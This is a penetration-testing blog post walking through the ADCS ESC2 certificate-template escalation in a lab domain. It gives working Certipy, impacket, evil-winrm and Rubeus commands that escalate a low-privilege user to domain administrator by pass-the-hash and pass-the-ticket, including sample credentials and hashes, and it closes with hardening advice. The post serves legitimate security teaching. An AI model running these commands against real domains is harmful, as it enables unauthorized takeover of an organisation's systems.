Active Directory Certificate Services (ADCS – ESC2)

ADCS Part IIIntroduction

In PART 1 of this short ADCS series, we provided an overview of Active Directory Certificate Services and demonstrated ESC1, one of the escalation techniques. This post will walk you through ESC2, another escalation technique which allows users with low privileges to request an any-purpose certificate, which can be utilized to request a certificate on behalf of domain Users (domain admin).

Prerequisites – ESC2 Attack

The ESC2 is a type of post-exploitation attack that can be only performed once we either gain a foothold on the internal network or use a white box penetration testing approach, in other words, if the client provides valid low-privilege credentials. Here are the requirements:

  • Valid credential – (pcoulson)
  • Vulnerable Certificate Template – ESC2
  • Certipy
  • BloodHound
  • impacket Tools
  • evil-winrm
  • PKINITtools

ESC2 – Attack

The complete Certipy commands are shown below:

certipy find -dc-ip 192.168.115.180 -u pcoulson -p 'P4ssw0rd123456@' 

Certipy generates outputs in JSON and TXT file formats. These files are named “_Certipy” and can be found in the current folder.

The 20240511124044_Certipy.txt file contains the vulnerable templates. However, we must identify it manually by opening the file with a regular text editor or using cat along with the grep command.

Additionally, Certipy runs BloodHound collectors that produce a zip file with the same naming convention. These BloodHound results can be imported into your BloodHound database to visualize potential domain privilege escalation paths.

  • Certipy generates BloodHound data that can be ingested into the BloodHound, v5.8.1, which can be found here: BloodHound.
  • Note: To import certipy data on the new Bloodhound v5.8.1, utilize bloodhound-python/latest SharpHound, and after collecting the data, proceed to upload it into Bloodhound v5.8.1.
  • We must specify the -old bloodhound flag to use the old version of BloodHound.
  • Note: If you opt for an older version of Bloodhound, you must use the corresponding older SharpHound version. After collecting the data, upload it to Bloodhound.
certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -old-bloodhound 

certipy find -u pcoulson -p 'P4ssw0rd123456@' -dc-ip 192.168.115.180 -vulnerable -enabled -old-bloodhound

As we can see in the image below, the pcoulson user is a member of the DOMAIN USER group and has enrollment right on the ESC2 template. In other words, it refers to permissions granted to users or groups to enroll for certificates based on that template. When we create a certificate template in ADCS, we can specify who has the right to enroll for certificates using that template.

The certificate ESC2 has the following configuration that makes it vulnerable:

  • Any Purpose: True
  • Enabled: True
  • Enrollment Rights are set to SHIELD. LOCAL/Domain Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

The last configuration, called Requires Manager Approval, is set to FALSE.

ESC2 Attack Walkthrough on Linux

A misconfiguration in the ESC2 certificate template allows users with low privileges to request an any-purpose certificate, which can be utilized to request a certificate on behalf of domain Users (domain admin). In other words, any user with enrollment rights can request a certificate, even for privileged accounts, such as a domain administrator, if they have an any-purpose certificate.

Templates vulnerable to ESC2 have the following configurations:

  • Extended Key Usage: Any Purpose
  • Enabled: True
  • Requires Manager Approval: FALSE
  • Any Purpose: True
  • Enrollment Rights are set to SHIELD. LOCALDomain Users & SHIELD. LOCAL/Authenticated Users — In other words, any domain user can request a certificate on behalf of a Domain Admin

Once we have identified the vulnerable template, our next step is to request an any-purpose certificate for the pcoulson user using the ESC2 template. Since our initial user account, “pcoulson,” is part of the Domain Users group, it can request a certificate using the vulnerable template.
The Certipy arguments required to request a certificate are as follows:

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template ESC2 -target DC4.shield.local
certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.local -on-behalf-of 'SHIELD\administrator' -pfx pcoulson.pfx

Once we have obtained the .pfx certificate file, we can request the domain admin TGT Ticket or the administrator Hash to gain access to the domain controller.

certipy auth -pfx administrator.pfx

Gaining Access to DC via Pass-The-Hash Technique

Once we obtain either the administrator hash or the TGT Ticket, we can use different tools to log into the Domain Controller, such as:

  • impacket-smbexec
  • impacket-psexec
  • evil-winrm
  • NetExec
impacket-smbexec administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
evil-winrm -i dc4.shield.local -u Administrator -H c5153b43885058f27715b476e5246a50

Gaining Access to DC using a TGT Ticket

To obtain the administrator TGT ticket, we can use certipy in conjunction with the auth flag.

certipy auth -pfx administrator.pfx

Once we obtain the TGT Ticket, we can export the administrator.ccache file with the below command, and log in to the DC using impacket-psexec.

export KRB5CCNAME=administrator.ccache

impacket-psexec administrator@dc4.shield.local -k -no-pass

To obtain the administrator TGT ticket, we can use gettgtpkinit.py in conjunction with the -cert-pfx flag.

python gettgtpkinit.py shield.local/administrator -cert-pfx /root/MARVEL.local/ADCS/administrator.pfx PKINIT-Administartor.ccache

After obtaining the TGT Ticket, we can export the administrator.ccache file using the command below and log in to the DC using impacket-psexec.

export KRB5CCNAME=PKINIT-Administrator.ccache
impacket-psexec administrator@dc4.shield.local -k -no-pass

ESC2 Attack Walkthrough on Windows

# NOTE : You have to have Python3 pre-installed on the windows host if not then u have to install it.npip install certipy-ad  
certipy find -dc-ip 192.168.115.180 -sspi

We will have to use the -sspi option to use Windows Integrated Authentication (SSPI), or in other words, we will use the user’s context with which we are logged in. In our case, it was pcoulson.

certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template ESC2 -target DC4.shield.local


certipy req -ca SHIELD-DC4-CA -dc-ip 192.168.115.180 -u pcoulson@shield.local -p 'P4ssw0rd123456@' -template USER -target DC4.shield.local -on-behalf-of 'SHIELD\administrator' -pfx pcoulson.pfx
certipy auth -pfx administrator.pfx

Now that we have the hashes and the TGT file, we can use them for post-exploitation techniques, such as Past-The-Hash, or use the TGT Ticket (.ccache file) to log in.

set KRB5CCNAME=administrator.ccache

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -k -no-pass

#We can use either a Windows Powershell or CMD if we want to use the hash.

c:\users\lowpriv\appdata\local\programs\python\python312\scripts\psexec.py shield.local/administrator@dc4.shield.local -hashes aad3b435b51404eeaad3b435b51404ee:c5153b43885058f27715b476e5246a50
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /nowrap /getcredentials
Rubeus.exe asktgt /domain:shield.local /user:administrator /rc4:C5153B43885058F27715B476E5246A50 /ptt

Video Walkthrough

Conclusion

ADCS, or Active Directory Certificate Services, is not inherently insecure. However, it can be highly susceptible to misconfiguration, creating openings for unauthorized access and escalation within the domain. While usually unintentional, these misconfigurations can compromise security measures significantly if left unchecked. Therefore, it is crucial for organizations to proactively address and rectify any misconfigurations within their ADCS infrastructure to maintain robust security standards and prevent unauthorized escalation within their domain.

This reinforces the importance of conducting penetration tests at least twice yearly or engaging in adversary emulation assessment to confirm proper security measures. It has been proven repeatedly that the potential dangers of Active Directory Certificate Services (ADCS) lurk in system misconfiguration. Organizations need to be better-versed in ADCS and its security implications so the risks of misconfiguration are alarmingly high. We want to clarify that we don’t claim to know every security issue related to ADCS. Nevertheless, we’re committed to offering you ample guidance to navigate this terrain safely and securely. Here are just a few to begin with:

  • Take stock of your certificate templates and determine whether all enabled templates are currently used. Disable all unnecessary templates.
  • It is recommended that template permissions be restricted as much as possible. Only provide enrollment permissions to necessary groups and users.
  • Modify the “Issuance Requirements” to enforce the manual approval of an issued certificate where possible.
  • Disable the “Enrollee Supplies Subject” flag where possible.
  • Remove “Client Authentication” where possible.
  • Set Any Purpose to FALSE.
  • Credentials from Password Stores – T1555
  • Steal or Forge Authentication Certificates – T1649
  • Pass The Hash – T1550.002
  • Steal or Forge Kerberos Tickets – T1558
  • Pass the Ticket – T1550.003

Credits & References

Authors

  • Red Team Lead

    As a security computer expert with over 15 years of experience, he specializes in various areas such as web applications, cloud computing (AWS, Azure & GCP), infrastructure penetration testing, red & purple team assessments, vulnerability analysis, exploit development, and malware analysis. He has conducted numerous successful black-and-grey box penetration testing and adversary emulation engagements throughout his career. He has demonstrated expertise in testing SOAP and RESTful web API services, thick clients, wireless networks, internal/external assessments, SAP ERP servers, ATMs, Tactics Techniques and Procedures (TTPs), and forensics.

  • Chanel Carr

    Professional security architect of multi-clouds, including Amazon Web Services (AWS), Microsoft Azure, and Google GCP, with experience evaluating and testing computer security systems, creating firewalls, improving network security to protect the system further.

  • Asif Khan

    Highly skilled Pentester with experience in various areas, including multi-clouds (AWS, Azure, and GCP), network, web applications, APIs, and mobile penetration testing. In addition, he is passionate about conducting Red and Purple Team assessments and developing innovative solutions to protect company systems and data.

Share the Post:

Subscribe To Our Newsletter